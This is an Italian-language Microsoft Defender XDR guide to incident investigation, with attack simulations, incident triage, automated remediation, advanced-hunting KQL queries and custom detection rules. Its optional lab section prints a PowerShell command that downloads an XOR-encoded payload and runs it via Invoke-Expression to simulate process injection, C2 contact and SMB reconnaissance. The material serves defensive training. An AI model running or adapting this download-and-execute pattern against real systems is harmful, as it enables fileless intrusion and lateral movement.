Indaga e rispondi usando Microsoft Defender

Questo articolo descrive il processo per creare incidenti con simulazioni di attacco e tutorial e utilizzare Microsoft Defender per indagare e rispondere. Prima di iniziare questo processo, assicurati di aver esaminato l'intero processo di pilotaggio e distribuzione di Microsoft Defender e di aver almeno pilotato alcuni componenti di Microsoft Defender.

Un episodio in Microsoft Defender è una raccolta di avvisi correlati e dati associati che costituiscono la storia di un attacco. I servizi e le app di Microsoft 365 creano avvisi quando rilevano un evento o un'attività sospetta o dannosa. I singoli avvisi forniscono indicazioni preziose su un attacco completato o in corso. Tuttavia, gli attacchi usano in genere varie tecniche contro diversi tipi di entità, ad esempio dispositivi, utenti e cassette postali. Il risultato è la presenza di più avvisi per più entità nel tenant.

Distribuzione end-to-end per Microsoft Defender

Questo è l'articolo 6 di 6 di una serie che consente di distribuire i componenti di Microsoft Defender XDR, inclusa l'analisi e la risposta agli eventi imprevisti.

Gli articoli di questa serie corrispondono alle fasi seguenti della distribuzione end-to-end:

In qualsiasi momento durante il pilota e la implementazione, puoi testare le capacità di risposta agli incidenti e di indagine e bonifica automatizzate di Microsoft Defender creando un incidente con un attacco simulato e utilizzando il portale Microsoft Defender per indagare e rispondere.

Flusso di lavoro per l'indagine e la risposta agli incidenti utilizzando Microsoft Defender

Ecco il flusso di lavoro per analizzare e rispondere agli eventi imprevisti usando Microsoft Defender XDR nell'ambiente di produzione.

attenersi alla seguente procedura:

1. Raccogliere informazioni sulle minacce per identificare gli avversari e la relativa infrastruttura
2. Simulare gli attacchi con il portale di Microsoft Defender
3. Assegnare priorità agli incidenti
4. Gestire gli incidenti
5. Esamina l'investigazione automatizzata e la risposta con il Centro operativo
6. Usare la ricerca avanzata

Passaggio 1. Raccogliere informazioni sulle minacce per identificare gli avversari e la relativa infrastruttura

Microsoft Threat Intelligence in Microsoft Defender XDR fornisce indicatori di compromessa (IOC), ricerche sulle minacce e analisi da parte di esperti Microsoft e altre fonti. Puoi consultare articoli di intelligence sulle minacce o cercare attori minacci, vulnerabilità e altri indicatori a supporto delle tue indagini. È possibile leggere gli articoli o cercare gli attori delle minacce, le vulnerabilità e altre operazioni di I/O per ottenere informazioni dettagliate sui tipi di minacce da analizzare.

• Per un tutorial su come eseguire ricerche con indicatori e raccogliere informazioni su minacce e avversari, vedi: Tutorial: Raccogliere informazioni sulle minacce ed eseguire il collegamento delle infrastrutture
• Per un tutorial su come effettuare ricerche con indicatori per raccogliere informazioni sulle vulnerabilità, vedi: Tutorial: Raccogli informazioni sulle vulnerabilità

Per maggiori informazioni, vedi Microsoft Threat Intelligence in Microsoft Defender XDR

Passaggio 2. Simulare gli attacchi con il portale di Microsoft Defender

Il portale di Microsoft Defender offre funzionalità predefinite per creare attacchi simulati all'ambiente pilota:

• Training di simulazione degli attacchi per Microsoft Defender XDR per Office 365.

  Nel portale di Microsoft Defender, selezionare Posta elettronica e collaborazione > Training di simulazione degli attacchi.

• Esercitazioni sugli attacchi e simulazioni per Microsoft Defender XDR per endpoint.

  Nel portale di Microsoft Defender, seleziona Endpoint > Esercitazioni e simulazioni.

Formazione sulla simulazione degli attacchi di Defender per Office 365

Defender per Office 365 con Microsoft 365 E5 o Microsoft Defender per Office 365 Piano 2 include il training con simulazione degli attacchi per gli attacchi di phishing. I passaggi di base sono:

1. Creare una simulazione

   Per istruzioni passo dopo passo su come creare e avviare una nuova simulazione, vedi Simulare un attacco di phishing.

2. Creare un payload

   Per istruzioni passo dopo passo su come creare un payload da utilizzare all'interno di una simulazione, vedi Creare un payload personalizzato per l'addestramento alla simulazione di attacco.

3. Ottenere informazioni dettagliate

   Per istruzioni passo dopo passo su come ottenere insight tramite reportistica, vedi Acquisire insight attraverso la simulazione di attacchi.

Per altre informazioni, vedere Simulazioni.

Esercitazioni e simulazioni sugli attacchi di Defender for Endpoint

Di seguito sono riportate le simulazioni di Defender per endpoint di Microsoft:

• Il documento elimina la backdoor
• Investigazione automatizzata (backdoor)

Sono disponibili simulazioni aggiuntive da origini di terze parti. È disponibile anche un set di esercitazioni.

Per ogni simulazione o esercitazione:

1. Scaricare e leggere il documento walk-through corrispondente fornito.

2. Scaricare il file di simulazione. È possibile scegliere di scaricare il file o lo script nel dispositivo di test, ma non è obbligatorio.

3. Eseguire il file o lo script di simulazione nel dispositivo di test come indicato nel documento di procedura dettagliata.

Per altre informazioni, vedi Provare Microsoft Defender per endpoint attraverso un attacco simulato.

Simulare un attacco con un controller di dominio isolato e un dispositivo client (facoltativo)

In questo esercizio di risposta agli eventi imprevisti facoltativo si simula un attacco a un controller di dominio Active Directory Domain Services isolato (AD DS) e a un dispositivo Windows usando uno script di PowerShell e quindi si analizzerà, si correggerà e si risolverà l'evento imprevisto.

Prima di tutto, è necessario aggiungere endpoint all'ambiente pilota.

Aggiungere endpoint dell'ambiente pilota

Prima di tutto, è necessario aggiungere un controller di dominio Ad DS isolato e un dispositivo Windows all'ambiente pilota.

1. Verifica che il tenant dell'ambiente pilota abbia abilitato Microsoft Defender.

2. Verifica che il controller di dominio:

   • Esegue Windows Server 2008 R2 o versione successiva.
   • Comunica con Microsoft Defender per identità e ha abilitato la gestione remota.
   • È abilitata l'integrazione tra Microsoft Defender per identità e Microsoft Defender for Cloud Apps.
   • Viene creato un utente di test nel dominio di test. Le autorizzazioni a livello di amministratore non sono necessarie.

3. Verificare che il dispositivo di test:

   • Esegue Windows 10 versione 1903 o successiva.
   • Viene aggiunto al dominio del controller di dominio di Active Directory Domain Services.
   • Ha Microsoft Defender Antivirus abilitato. Se si verificano problemi durante l'abilitazione dell'antivirus Microsoft Defender, vedi Verifica che Microsoft Defender Antivirus non sia disabilitato da un criterio.
   • Ne viene eseguito l'onboarding in Microsoft Defender per endpoint.

Se si utilizzano gruppi di tenant e di dispositivi, creare un gruppo di dispositivi dedicato per il dispositivo di test e spostarlo al livello più alto.

Un'alternativa consiste nell'ospitare il controller di dominio di Active Directory Domain Services e testare il dispositivo come macchine virtuali nei servizi di infrastruttura di Microsoft Azure. È possibile usare le istruzioni nella fase 1 della Guida al lab di test aziendale simulata, ma ignorare la creazione della macchina virtuale APP1.

Il diagramma seguente mostra l'ambiente pilota completato.

Simulerai un attacco avanzato che utilizza tecniche furtive per nasconderti dalla scoperta. L'attacco elenca sessioni Server Message Block (SMB) aperte sui controller di dominio. Recupera inoltre gli indirizzi IP recenti dei dispositivi degli utenti. Gli attacchi file in memoria come questo non rilasciano file sul dispositivo della vittima. Invece, si svolgono solo nella memoria. Vivono "della terra" usando sistemi integrati e strumenti amministrativi. Inseriscono anche codice nei processi di sistema per nascondere ciò che stanno facendo. Questo comportamento li aiuta a sfuggire al rilevamento e a persistere sul dispositivo.

In questa simulazione, lo scenario inizia con uno script PowerShell. Nel mondo reale, un utente potrebbe essere ingannato a eseguire uno script. Lo script potrebbe anche essere eseguito da una connessione remota a un altro computer da un dispositivo precedentemente infetto. Questo comportamento suggerisce che l'attaccante stia cercando di muoversi lateralmente nella rete. Questi script sono difficili da rilevare perché gli amministratori eseguono script da remoto per compiti di routine.

Durante la simulazione, l'attacco inserisce shellcode in un processo apparentemente innocente. Lo scenario richiede l'uso di notepad.exe. Abbiamo scelto questo processo per la simulazione, ma è più probabile che gli attaccanti prendano di mira un processo di sistema in esecuzione da molto tempo, come svchost.exe. Lo shellcode contatta quindi il server di comando e controllo (C2) dell'attaccante per ricevere istruzioni su come procedere. Lo script tenta di eseguire query di ricognizione contro il controller di dominio (DC). La ricognizione consente a un utente malintenzionato di ottenere informazioni sulle informazioni di accesso utente recenti. Una volta che gli utenti malintenzionati hanno queste informazioni, possono spostarsi lateralmente nella rete per accedere a un account sensibile specifico.

Esegui la simulazione dell'attacco del controller di dominio AD DS isolato

Per eseguire la simulazione dello scenario di attacco:

1. Assicurarsi che l'ambiente pilota includa il controller di dominio Ad DS isolato e il dispositivo Windows.

2. Accedere al dispositivo di test con l'account utente di test.

3. Aprire una finestra Windows PowerShell nel dispositivo di test.

4. Copiare lo script di simulazione seguente:

   [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
   ;$xor = [System.Text.Encoding]::UTF8.GetBytes('WinATP-Intro-Injection');
   $base64String = (Invoke-WebRequest -URI "https://wcdstaticfilesprdeus.blob.core.windows.net/wcdstaticfiles/MTP_Fileless_Recon.txt" -UseBasicParsing).Content;Try{ $contentBytes = [System.Convert]::FromBase64String($base64String) } Catch { $contentBytes = [System.Convert]::FromBase64String($base64String.Substring(3)) };$i = 0;
   $decryptedBytes = @();$contentBytes.foreach{ $decryptedBytes += $_ -bxor $xor[$i];
   $i++; if ($i -eq $xor.Length) {$i = 0} };Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($decryptedBytes))
   

   Nota

   Se si apre questo articolo in un Web browser, potrebbero verificarsi problemi durante la copia del testo completo senza perdere determinati caratteri o introdurre interruzioni di riga aggiuntive. In questo caso, scaricare questo documento e aprirlo in Adobe Reader.

5. Incollare ed eseguire lo script copiato nella finestra di PowerShell.

Dopo alcuni secondi, si aprirà l'app Blocco note. Un codice di attacco simulato verrà inserito nel Blocco note. Mantieni aperta l'istanza di Blocco note generata automaticamente per provare l'intero scenario.

Il codice di attacco simulato tenterà di comunicare con un indirizzo IP esterno (simulando il server C2) e quindi tenterà di ricognizione con il controller di dominio tramite SMB.

Il seguente output della console conferma che l'azione simulata di ricognizione è stata completata con successo contro il domain controller:

ran NetSessionEnum against [DC Name] with return code result 0

Per vedere in azione la funzione Automated Incident and Response, tieni il notepad.exe processo aperto. Verrà visualizzata la risposta automatica agli eventi imprevisti che interrompe il processo di Blocco note.

Analizzare l'evento imprevisto per l'attacco simulato

Passando al punto di vista dell'analista SOC, è ora possibile iniziare a analizzare l'attacco nel portale di Microsoft Defender.

1. Aprire il portale di Microsoft Defender.

2. Nel riquadro di spostamento selezionare Eventi imprevisti & Avvisi imprevisti>.

3. Il nuovo evento imprevisto per l'attacco simulato comparirà nella coda degli eventi imprevisti.

   

Analizzare l'attacco come singolo evento imprevisto

Microsoft Defender correla le analisi e aggrega tutti gli avvisi e le indagini correlate di diversi prodotti in un'unica entità incidente. Così facendo, Microsoft Defender mostra una storia di attacco più ampia, permettendo all'analista SOC di comprendere e rispondere a minacce complesse.

Gli avvisi generati durante questa simulazione sono associati alla stessa minaccia e, di conseguenza, vengono aggregati automaticamente come singolo evento imprevisto.

Per visualizzare l'evento imprevisto:

1. Aprire il portale di Microsoft Defender.

2. Nel riquadro di spostamento selezionare Eventi imprevisti & Avvisi imprevisti>.

3. Seleziona l'elemento più recente selezionando il cerchio a sinistra del nome dell'incidente. Un pannello laterale visualizza informazioni aggiuntive sull'evento imprevisto, inclusi tutti gli avvisi correlati. Ogni evento imprevisto ha un nome univoco che lo descrive in base agli attributi degli avvisi inclusi.

   Gli avvisi visualizzati nel dashboard possono essere filtrati in base alle risorse del servizio: Microsoft Defender per identità, Microsoft Defender for Cloud Apps, Microsoft Defender per endpoint, Microsoft Defender XDR e Microsoft Defender per Office 365.

4. Selezionare Apri pagina evento imprevisto per ottenere altre informazioni sull'evento imprevisto.

   Nella pagina Evento imprevisto è possibile visualizzare tutti gli avvisi e le informazioni correlate all'evento imprevisto. Le informazioni includono le entità e gli asset coinvolti nell'avviso, l'origine di rilevamento degli avvisi (ad esempio Microsoft Defender per identità o Microsoft Defender per endpoint) e il motivo per cui sono stati collegati tra loro. Se si esamina l'elenco degli avvisi degli eventi imprevisti, viene visualizzata la progressione dell'attacco. Da questa vista è possibile visualizzare ed esaminare i singoli avvisi.

   È anche possibile selezionare Gestisci evento imprevisto dal menu a destra per contrassegnare l'evento imprevisto, assegnarlo a se stesso e aggiungere commenti.

Esaminare gli avvisi generati

Verranno ora esaminati alcuni degli avvisi generati durante l'attacco simulato.

Avviso: rilevamento dell'inserimento di processi sospetti (origine: Microsoft Defender per endpoint)

Gli utenti malintenzionati avanzati usano metodi sofisticati e furtivi per rimanere nella memoria e nascondersi dagli strumenti di rilevamento. Una tecnica comune consiste nell'operare dall'interno di un processo di sistema attendibile anziché da un eseguibile dannoso, rendendo difficile per gli strumenti di rilevamento e le operazioni di sicurezza individuare il codice dannoso.

Per consentire agli analisti soc di intercettare questi attacchi avanzati, i sensori di memoria profonda in Microsoft Defender per endpoint offrono al servizio cloud una visibilità senza precedenti sulle varie tecniche di inserimento del codice tra processi. La figura seguente mostra come Defender per endpoint ha rilevato e segnalato il tentativo di inserire codice in notepad.exe.

Avviso: comportamento imprevisto osservato da un processo eseguito senza argomenti della riga di comando (origine: Microsoft Defender per endpoint)

I rilevamenti di Microsoft Defender per endpoint mirano spesso all'attributo più comune associato a una tecnica di attacco. Questo metodo garantisce la durata e rende più difficile per gli attaccanti passare a nuove tattiche.

Vengono impiegati algoritmi di apprendimento su larga scala per stabilire il comportamento normale dei processi comuni all'interno di un'organizzazione e in tutto il mondo e verificare quando questi processi mostrano comportamenti anomali. Questi comportamenti anomali indicano spesso che il codice estraneo è stato introdotto ed è in esecuzione in un processo altrimenti attendibile.

Per questo scenario, il processo notepad.exe presenta un comportamento anomalo, che comporta la comunicazione con una posizione esterna. Il rilevamento di questa comunicazione esterna anomala è indipendente dal metodo specifico utilizzato per introdurre ed eseguire il codice malevolo.

Si noti che i dettagli dell'avviso includono l'indirizzo IP esterno, un indicatore che è possibile usare come pivot per espandere l'analisi.

Selezionare l'indirizzo IP nell'albero del processo di avviso per visualizzare la pagina dei dettagli dell'indirizzo IP.

Quando si seleziona un indirizzo IP nell'albero del processo di avviso, viene visualizzata la pagina dei dettagli dell'indirizzo IP e vengono visualizzate informazioni aggiuntive sull'indirizzo.

Avviso: Ricognizione di utenti e indirizzi IP (SMB) (Origine: Microsoft Defender per identità)

L'enumerazione tramite il protocollo Server Message Block (SMB) consente agli attaccanti di ottenere informazioni di accesso recenti degli utenti che li aiutano a muoversi lateralmente nella rete per accedere a un account sensibile specifico.

In questo rilevamento viene attivato un avviso quando l'enumerazione della sessione SMB viene eseguita su un controller di dominio.

Esaminare la cronologia del dispositivo con Microsoft Defender per Endpoint

Dopo aver esplorato i vari avvisi in questo incidente, torna alla pagina principale dell'Incidente nel portale di Microsoft Defender. Selezionare la scheda Dispositivi nella pagina dell'evento imprevisto per esaminare i dispositivi coinvolti in questo evento imprevisto come indicato da Microsoft Defender per endpoint e Microsoft Defender per identità.

Selezionare il nome del dispositivo in cui è stato condotto l'attacco per aprire la pagina dell'entità per il dispositivo specifico. In tale pagina è possibile visualizzare gli avvisi attivati e gli eventi correlati.

Selezionare la scheda Sequenza temporale per aprire la sequenza temporale del dispositivo e visualizzare tutti gli eventi e i comportamenti osservati nel dispositivo in ordine cronologico, intervallati dagli avvisi generati.

L'espansione di alcuni dei comportamenti più interessanti fornisce dettagli utili, ad esempio gli alberi dei processi.

Ad esempio, scorrere verso il basso fino a trovare l'evento di avviso Sospetto inserimento del processo osservato. Selezionare l'evento powershell.exe iniettato nel processo notepad.exe qui sotto per visualizzare l'albero completo dei processi relativi a questo comportamento nel grafico Entità dell'evento nel pannello laterale. Usare la barra di ricerca per filtrare, se necessario.

Esaminare le informazioni utente con Microsoft Defender for Cloud Apps

Nella pagina dell'evento imprevisto selezionare la scheda Utenti per visualizzare l'elenco degli utenti coinvolti nell'attacco. La tabella contiene informazioni aggiuntive su ogni utente, incluso il punteggio di priorità di indagine di ogni utente.

Selezionare il nome utente per aprire la pagina del profilo dell'utente in cui è possibile eseguire ulteriori indagini. Per altre informazioni, vedere Analizzare gli utenti a rischio in Defender for Cloud Apps.

Indagine e correzione automatizzate

Torna all'incidente nel portale Microsoft Defender. La scheda Indagini nella pagina Eventi imprevisti mostra le indagini automatizzate attivate da Microsoft Defender per identità e Microsoft Defender per endpoint. Nello screenshot seguente viene visualizzata solo l'indagine automatica attivata da Defender for Endpoint. Per impostazione predefinita, Defender per endpoint corregge automaticamente gli artefatti nella coda che richiedono la correzione.

Selezionare l'avviso che ha attivato un'indagine per aprire la pagina Dettagli indagine . Verranno visualizzati i dettagli seguenti:

• Avvisi che hanno attivato l'indagine automatizzata.
• Utenti e dispositivi interessati. Se gli indicatori vengono trovati in altri dispositivi, verranno elencati anche questi altri dispositivi.
• Elenco delle prove. Entità trovate e analizzate, ad esempio file, processi, servizi, driver e indirizzi di rete. Queste entità vengono analizzate per individuare le possibili relazioni con l'avviso e classificate come non dannose o dannose.
• Minacce rilevate. Minacce note rilevate durante l'indagine.

Durante l'indagine automatizzata, Microsoft Defender per endpoint ha identificato il processo notepad.exe, che è stato iniettato tra gli artefatti che richiedevano la correzione. Defender per endpoint arresta automaticamente l'inserimento di processi sospetti come parte della correzione automatica.

È possibile vedere notepad.exe scompaiono dall'elenco dei processi in esecuzione nel dispositivo di test.

Risolvere l'evento imprevisto

Dopo aver completato l'indagine e aver confermato che il problema è stato risolto, puoi risolvere l'incidente.

Nella pagina Evento imprevisto selezionare Gestisci evento imprevisto. Impostare lo stato su Risolvere l'evento imprevisto e selezionare True alert per la classificazione e i test di sicurezza per la determinazione.

Quando l'evento imprevisto viene risolto, risolve tutti gli avvisi associati nel portale di Microsoft Defender e nei portali correlati.

In questo modo si completano le simulazioni di attacco per l'analisi degli eventi imprevisti, l'indagine automatizzata e la risoluzione degli eventi imprevisti.

Passaggio 3: Assegnare priorità agli eventi imprevisti

È possibile accedere alla coda degli eventi imprevisti da Eventi imprevisti & avvisi > Eventi imprevisti all'avvio rapido del portale di Microsoft Defender. Di seguito viene riportato un esempio.

La sezione Incidenti e allerte più recenti mostra un grafico degli allerti e degli incidenti delle ultime 24 ore.

Per rivedere e dare priorità agli incidenti, puoi:

• Seleziona colonne Scegli per mostrare i dettagli su ogni incidente o sulle entità interessate. Usa questi dettagli per decidere quali episodi analizzare per primi.

• Applica filtri per concentrarsi su una minaccia o uno scenario specifico. I filtri ti aiutano a individuare quali incidenti richiedono un'azione rapida.

Dalla coda incident, seleziona Filtri per aprire il pannello Filtri . Usalo per restringere la lista a un insieme specifico di incidenti. Di seguito viene riportato un esempio.

Per altre informazioni, vedere Assegnare priorità agli eventi imprevisti.

Passaggio 4. Gestire gli incidenti

È possibile gestire gli incidenti dal riquadroGestisci incidenti relativo a un incidente. Di seguito viene riportato un esempio.

È possibile visualizzare questo riquadro dal collegamento Gestisci evento imprevisto in:

• Riquadro Proprietà di un evento imprevisto nella coda degli eventi imprevisti.
• Pagina di riepilogo di un evento imprevisto.

Ecco i modi in cui è possibile gestire gli eventi imprevisti:

• Modificare il nome dell'evento imprevisto

  Modificare il nome assegnato automaticamente in base alle procedure consigliate del team di sicurezza.

• Aggiungere tag agli eventi

  Aggiungere tag usati dal team di sicurezza per classificare gli eventi imprevisti, che possono essere filtrati in un secondo momento.

• Assegnare l'evento imprevisto

  Assegnalo al nome di un account utente, che potrà essere successivamente filtrato.

• Risolvere un evento imprevisto

  Chiudi l'incidente dopo che è stato risolto.

• Impostarne la classificazione e la determinazione

  Classificare e selezionare il tipo di minaccia quando si risolve un evento imprevisto.

• Aggiungere commenti

  Usa i commenti per monitorare i progressi, aggiungere note o condividere altri dettagli. Puoi visualizzare la cronologia completa dei commenti dall'opzione Commenti e cronologia nella pagina dettagli dell'incidente.

Per altre informazioni, vedere Gestire gli eventi imprevisti.

Passaggio 5. Esamina l'analisi automatizzata e la risposta con il Centro operativo

In base alla configurazione della tua organizzazione, le azioni di bonifica vengono eseguite automaticamente o attendono che il team di sicurezza le approvi. Il Centro Azione elenca tutte le azioni in un unico posto, sia in sospeso che già fatte. Comprende dispositivi, email e contenuti di collaborazione, e identità.

Di seguito viene riportato un esempio.

Dal Centro Azioni, seleziona le azioni in sospeso. Poi approvale o rifiutali nel pannello di ricambio. Di seguito viene riportato un esempio.

Approva o rifiuta le azioni in sospeso appena puoi. Questo aiuta le tue indagini automatizzate a concludere puntualmente.

Per altre informazioni, vedere Analisi e risposta automatizzate e Centro notifiche.

Passaggio 6. Usare la ricerca avanzata

Se la simulazione opzionale di attacco PowerShell fileless fosse un attacco reale che ha raggiunto la fase di accesso alle credenziali, puoi usare la caccia avanzata in qualsiasi momento dell'indagine. La caccia avanzata ti permette di cercare tra eventi e record nella rete utilizzando ciò che già sai da avvisi e entità interessate.

Ad esempio, usa le informazioni dell'avviso User and IP address reconnaissance (SMB) per interrogare la IdentityDirectoryEvents tabella sugli eventi di enumerazione delle sessioni SMB. Puoi anche trovare attività di discovery in altri protocolli interrogando la IdentityQueryEvents tabella.

Requisiti dell'ambiente di ricerca

Per questa simulazione sono necessari una singola cassetta postale interna e un singolo dispositivo. Sarà anche necessario un account di posta elettronica esterno per inviare il messaggio di test.

1. Verifica che il tuo tenant abbia abilitato Microsoft Defender.

2. Identificare una cassetta postale di destinazione da usare per la ricezione della posta elettronica.

   • Questa cassetta postale deve essere monitorata da Microsoft Defender per Office 365

   • Il dispositivo del requisito 3 deve accedere a questa cassetta postale

3. Configurare un dispositivo di test:

   a. Assicurarsi di usare Windows 10 versione 1903 o successiva.

   b. Aggiungere il dispositivo di test al dominio di test.

   c. Attivare Microsoft Defender Antivirus. Se si verificano problemi durante l'abilitazione dell'antivirus Microsoft Defender, vedi Verifica che Microsoft Defender Antivirus non sia disabilitato da un criterio.

   d. Eseguire l'onboarding su Microsoft Defender per endpoint.

Eseguire la simulazione

1. Da un account di posta elettronica esterno inviare un messaggio di posta elettronica alla cassetta postale identificata nel passaggio 2 della sezione relativa ai requisiti dell'ambiente di ricerca. Includere un allegato che sarà consentito tramite tutti i criteri di filtro della posta elettronica esistenti. Questo file non deve essere dannoso o eseguibile. I tipi di file suggeriti sono .pdf, .exe (se consentito) o un tipo di documento di Office, ad esempio un file Word.

2. Aprire il messaggio di posta elettronica inviato dal dispositivo configurato come definito nel passaggio 3 della sezione requisiti dell'ambiente di ricerca. Aprire l'allegato o salvare il file nel dispositivo.

Vai a caccia

1. Aprire il portale di Microsoft Defender.

2. Nel riquadro di spostamento selezionare Ricerca > avanzata.

3. Compilare una query che inizia raccogliendo eventi di posta elettronica.

   1. Selezionare Query > Nuova.

   2. Nel gruppo Email in Ricerca avanzata, fare doppio clic su EmailEvents. Dovresti visualizzare questo nella finestra di query.

      EmailEvents
      

   3. Impostare l'intervallo di tempo della query sulle ultime 24 ore. Supponendo che il messaggio di posta elettronica inviato durante l'esecuzione della simulazione precedente fosse nelle ultime 24 ore, in caso contrario modificare l'intervallo di tempo in base alle esigenze.

   4. Selezionare Esegui query. È possibile che i risultati siano diversi a seconda dell'ambiente pilota.

      Nota

      Puoi aggiungere una condizione dove ai risultati del filtro, come mostrato nel passaggio seguente.

      

      Nota

      La ricerca avanzata visualizza i risultati delle query come dati tabulari. È anche possibile scegliere di visualizzare i dati in altri tipi di formato, ad esempio i grafici.

   5. Esaminare i risultati e verificare se è possibile identificare il messaggio di posta elettronica aperto. La visualizzazione del messaggio nella ricerca avanzata potrebbe richiedere fino a due ore. Per limitare i risultati, è possibile aggiungere la condizione where alla query per cercare solo i messaggi di posta elettronica con "yahoo.com" come SenderMailFromDomain. Di seguito viene riportato un esempio.

      EmailEvents
      | where SenderMailFromDomain == "yahoo.com"
      

   6. Selezionare le righe risultanti dalla query in modo da poter controllare il record.

      

4. Dopo aver verificato che sia possibile visualizzare il messaggio di posta elettronica, aggiungere un filtro per gli allegati. Concentrarsi su tutti i messaggi di posta elettronica con allegati nell'ambiente. Per questa simulazione, concentrarsi sui messaggi di posta elettronica in ingresso, non su quelli inviati dall'ambiente. Rimuovere tutti i filtri aggiunti per individuare il messaggio e aggiungere "| dove AttachmentCount > 0 e EmailDirection == "Inbound""

   La seguente query restituisce solo le email in entrata con allegati, il che restringe i risultati della tua query iniziale:

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   

5. Includere quindi le informazioni sull'allegato (ad esempio: nome file, hash) al set di risultati. A tale scopo, aggiungere la tabella EmailAttachmentInfo . I campi comuni da usare per l'unione, in questo caso sono NetworkMessageId e RecipientObjectId.

   La seguente query si basa sulla precedente unendo la tabella EmailAttachmentInfo per aggiungere dettagli allegati (come nome file e hash) ai tuoi risultati. Inoltre, rinomina il campo timestamp in EmailTimestamp , così puoi distinguere i timestamp email da quelli delle azioni del file nei passaggi successivi.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   

6. Usare quindi il valore SHA256 della tabella EmailAttachmentInfo per trovare DeviceFileEvents (azioni file che si sono verificate nell'endpoint) per l'hash. Il campo comune qui sarà l'hash SHA256 per l'allegato.

   La seguente query estende quella precedente unendosi alla tabella DeviceFileEvents usando l'hash SHA256 . Questo correla gli allegati email con le azioni dei file sull'endpoint, così puoi vedere quali dispositivi hanno ricevuto il file e cosa è successo. I risultati includono dettagli endpoint da Microsoft Defender per endpoint, come nome dispositivo, tipo di azione (filtrato su eventi FileCreated), posizione di archiviazione file e il nome account associato al processo.

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   

   A questo punto è stata creata una query che identificherà tutti i messaggi di posta elettronica in ingresso in cui l'utente ha aperto o salvato l'allegato. È anche possibile affinare questa query per filtrare i domini del mittente, le dimensioni dei file, i tipi di file e così via specifici.

7. Le funzioni sono un tipo speciale di join, che consente di eseguire il pull di più dati TI su un file come la sua prevalenza, il firmatario e le informazioni sull'emittente e così via. Per ottenere altri dettagli sul file, usare l'arricchimento della funzione FileProfile( ):

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   | distinct SHA1
   | invoke FileProfile()
   

Crea un rilevamento

Dopo aver creato una query che identifica le informazioni che si desidera ricevere un avviso su se si verificano in futuro, è possibile creare un rilevamento personalizzato dalla query.

I rilevamenti personalizzati eseguono la query in base alla frequenza impostata e i risultati delle query creeranno avvisi di sicurezza, in base agli asset interessati scelti. Tali avvisi saranno correlati agli eventi imprevisti e possono essere considerati come qualsiasi altro avviso di sicurezza generato da uno dei prodotti.

1. Nella pagina della query rimuovere le distinct SHA1 righe e invoke FileProfile() aggiunte nella procedura precedente e quindi selezionare Crea regola di rilevamento.

   

   Nota

   Se si seleziona Crea regola di rilevamento e si verificano errori di sintassi nella query, la regola di rilevamento non verrà salvata. Controlla di nuovo la query per assicurarti che non ci siano errori.

2. Compilare i campi obbligatori con le informazioni che consentiranno al team di sicurezza di comprendere l'avviso, il motivo per cui è stato generato e le azioni che si prevede vengano eseguite.

   

   Assicurati di compilare i campi con chiarezza per aiutare il prossimo utente a prendere una decisione informata riguardo a questo avviso di regola di rilevamento.

3. Selezionare le entità interessate dall'avviso. In questo caso, selezionare Dispositivo e cassetta postale.

   

4. Determinare quali azioni devono essere eseguite se l'avviso viene attivato. Per questa regola di rilevamento, esegui una scansione antivirus, anche se potrebbero essere intraprese altre azioni.

   

5. Selezionare l'ambito per la regola di avviso. Poiché questa query coinvolge i dispositivi, i gruppi di dispositivi sono rilevanti in questo rilevamento personalizzato in base al contesto Microsoft Defender per endpoint. Quando si crea un rilevamento personalizzato che non include i dispositivi come entità interessate, l'ambito non si applica.

   

   Per questa distribuzione pilota di Microsoft Defender XDR, potresti voler limitare questa regola a un sottoinsieme di dispositivi di test nel tuo ambiente di produzione.

6. Selezionare Crea. Selezionare quindi Regole di rilevamento personalizzate nel pannello di spostamento.

   

   

   Da questa pagina è possibile selezionare la regola di rilevamento, che aprirà una pagina dei dettagli.

   

Formazione di esperti sulla caccia avanzata

Tenere traccia dell'avversario è una serie webcast per nuovi analisti della sicurezza e esperti cacciatori di minacce. Guida l'utente attraverso le nozioni di base della ricerca avanzata fino alla creazione di query sofisticate.

Vedi Formazione specialistica sulla ricerca avanzata per iniziare.

Passaggi successivi

Incorpora le informazioni di Investiga e rispondi con Microsoft Defender nei tuoi processi SecOps.